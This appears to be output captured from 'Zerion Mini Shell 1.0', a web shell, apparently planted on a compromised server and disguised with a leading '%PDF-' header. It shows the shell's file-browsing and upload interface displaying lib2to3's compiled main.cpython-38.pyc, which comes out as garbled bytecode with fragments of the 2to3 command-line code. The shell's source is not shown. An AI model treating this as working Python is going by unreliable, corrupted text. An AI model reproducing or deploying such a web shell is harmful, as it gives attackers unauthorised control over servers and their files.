%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/lib/python3.8/lib2to3/__pycache__/
Upload File :
Create Path :
Current File : //usr/local/lib/python3.8/lib2to3/__pycache__/main.cpython-38.pyc

U

pa-@sdZddlmZmZddlZddlZddlZddlZddlZddl	Z	ddl
mZddZGdd	d	ej
Zd
dZddd
ZdS)z
Main program for 2to3.
)with_statementprint_functionN)refactorc	Cs(|}|}tj||||ddddS)z%Return a unified diff of two strings.z
(original)z(refactored))Zlineterm)
splitlinesdifflibZunified_diff)abfilenamer(/usr/local/lib/python3.8/lib2to3/main.py
diff_textssrcs>eZdZdZdfdd	ZddZfddZd	d
ZZS)StdoutRefactoringToola2
    A refactoring tool that can avoid overwriting its input files.
    Prints output to stdout.

    Output files can optionally be written to a different directory and or
    have an extra file suffix appended to their name for use in situations
    where you do not want to replace the input files.
    rc		sP||_||_|r&|tjs&|tj7}||_||_||_tt	|
|||dS)aF
        Args:
            fixers: A list of fixers to import.
            options: A dict with RefactoringTool configuration.
            explicit: A list of fixers to run even if they are explicit.
            nobackups: If true no backup '.bak' files will be created for those
                files that are being refactored.
            show_diffs: Should diffs of the refactoring be printed to stdout?
            input_base_dir: The base directory for all input files.  This class
                will strip this path prefix off of filenames before substituting
                it with output_dir.  Only meaningful if output_dir is supplied.
                All files processed by refactor() must start with this path.
            output_dir: If supplied, all converted files will be written into
                this directory tree instead of input_base_dir.
            append_suffix: If supplied, all files output by this tool will have
                this appended to their filename.  Useful for changing .py to
                .py3 for example by passing append_suffix='3'.
        N)	nobackups
show_diffsendswithossep_input_base_dir_output_dir_append_suffixsuperr__init__)	selfZfixersoptionsexplicitrrinput_base_dir
output_dir
append_suffix	__class__rr
r$s
zStdoutRefactoringTool.__init__cOs*|j|||f|jj|f||dS)N)errorsappendloggererror)rmsgargskwargsrrr
	log_errorAszStdoutRefactoringTool.log_errorc

sz|}|jrH||jr6tj|j|t|jd}ntd||jf|jrX||j7}||krtj	|}tj
|s|rt||d|||j
s2|d}tj|rzt|Wn.tk
r}z|d|W5d}~XYnXzt||Wn2tk
r0}z|d||W5d}~XYnXtt|j}	|	|||||j
s`t||||krvt||dS)Nz5filename %s does not start with the input_base_dir %szWriting converted %s to %s.z.bakzCan't remove backup %szCan't rename %s to %s)r
startswithrrpathjoinlen
ValueErrorrdirnameisdirmakedirslog_messagerlexistsremoveOSErrorrenamerr
write_fileshutilcopymode)
rZnew_textrZold_textencodingZ
orig_filenamerZbackuperrwriter rr
r7EsJ


 
z StdoutRefactoringTool.write_filec	Cs|r|d|n|d||jrt|||}zP|jdk	rl|j"|D]}t|qHtjW5QRXn|D]}t|qpWn$tk
rt	d|fYdSXdS)NzNo changes to %sz
Refactored %sz+couldn't encode %s's diff for your terminal)
r2rrZoutput_lockprintsysstdoutflushUnicodeEncodeErrorwarn)roldnewrZequalZ
diff_lineslinerrr
print_outputls$

z"StdoutRefactoringTool.print_output)rrr)	__name__
__module____qualname____doc__rr)r7rF
__classcell__rrr r
rs
'rcCstd|ftjddS)NzWARNING: %sfile)r=r>stderr)r&rrr
rBsrBc
stjdd}|jddddd|jdd	d
gdd|jd
dddddd|jddd
gdd|jddddd|jddddd|jddddd|jd dd!d|jd"d#dd$d|jd%d&dd'd(d|jd)d*dd+d,d-d.|jd/d0dd1d|jd2dd+d,d3d.d'}i}||\}}|jr@d4|d5<|js:td6d4|_|jrZ|jsZ|	d7|j
rt|jst|	d8|js|jrtd9|js|jr|	d:|jrt
d;tD]}t
|q|sd<S|st
d=tjd>t
d?tjd>d@SdA|kr(d4}|jr(t
dBtjd>d@S|jr8d4|dC<|jrFtjntj}tjdD|dEtdF}tt}	tfdGdH|jD}
t}|jrd'}|jD](}
|
dIkrd4}n|dJ|
q|r|	|n|}n
|	|}||
}t j!"|}|r0|#t j$s0t j!%|s0t j!&|}|jrT|'t j$}|(dK|j|t)t*||t*||j|j||j|j
dL}|j+s|r|,nTz|||j|j-|j.Wn8tj/k
r|j.dkst0t
dMtjd>YdSX|1t2t3|j+S)NzMain program.

    Args:
        fixer_pkg: the name of a package where the fixers are located.
        args: optional; a list of command line arguments. If omitted,
              sys.argv[1:] is used.

    Returns a suggested exit status (0, 1, 2).
    z2to3 [options] file|dir ...)usagez-dz--doctests_only
store_truezFix up doctests only)actionhelpz-fz--fixr#z1Each FIX specifies a transformation; default: all)rQdefaultrRz-jz--processesstorerintzRun 2to3 concurrently)rQrStyperRz-xz--nofixz'Prevent a transformation from being runz-lz--list-fixeszList available transformationsz-pz--print-functionz0Modify the grammar so that print() is a functionz-vz	--verbosezMore verbose loggingz
--no-diffsz#Don't show diffs of the refactoringz-wz--writezWrite back modified filesz-nz--nobackupsFz&Don't write backups for modified filesz-oz--output-dirstrrzXPut output files in this directory instead of overwriting the input files.  Requires -n.)rQrVrSrRz-Wz--write-unchanged-fileszYAlso write files even if no changes were required (useful with --output-dir); implies -w.z--add-suffixzuAppend this string to all output filenames. Requires -n if non-empty.  ex: --add-suffix='3' will generate .py3 files.Twrite_unchanged_filesz&--write-unchanged-files/-W implies -w.z%Can't use --output-dir/-o without -n.z"Can't use --add-suffix without -n.z@not writing files and not printing diffs; that's not very usefulzCan't use -n without -wz2Available transformations for the -f/--fix option:rz1At least one file or directory argument required.rLzUse --help to show usage.-zCan't write to stdin.rz%(name)s: %(message)s)formatlevelzlib2to3.mainc3s|]}d|VqdS).fix_Nr).0fix	fixer_pkgrr
	<genexpr>szmain.<locals>.<genexpr>allr]z7Output in %r will mirror the input directory %r layout.)rrrz+Sorry, -j isn't supported on this platform.)4optparseZOptionParserZ
add_option
parse_argsrXr<rBrrr%Z
add_suffixZno_diffsZ
list_fixesr=rZget_all_fix_namesr>rNrverboseloggingDEBUGINFObasicConfig	getLoggersetZget_fixers_from_packageZnofixr_addunion
differencerr+commonprefixrrr0r/rstripinforsortedr"refactor_stdinZ
doctests_only	processesZMultiprocessingUnsupportedAssertionErrorZ	summarizerUbool)rar'parserrtflagsrZfixnamer\r$Zavail_fixesZunwanted_fixesrZall_presentr_Z	requestedZfixer_namesrZrtrr`r
mains
















rz)N)rJZ
__future__rrr>rrrgr8rdrrrZMultiprocessRefactoringToolrrBrzrrrr
<module>s	g

Zerion Mini Shell 1.0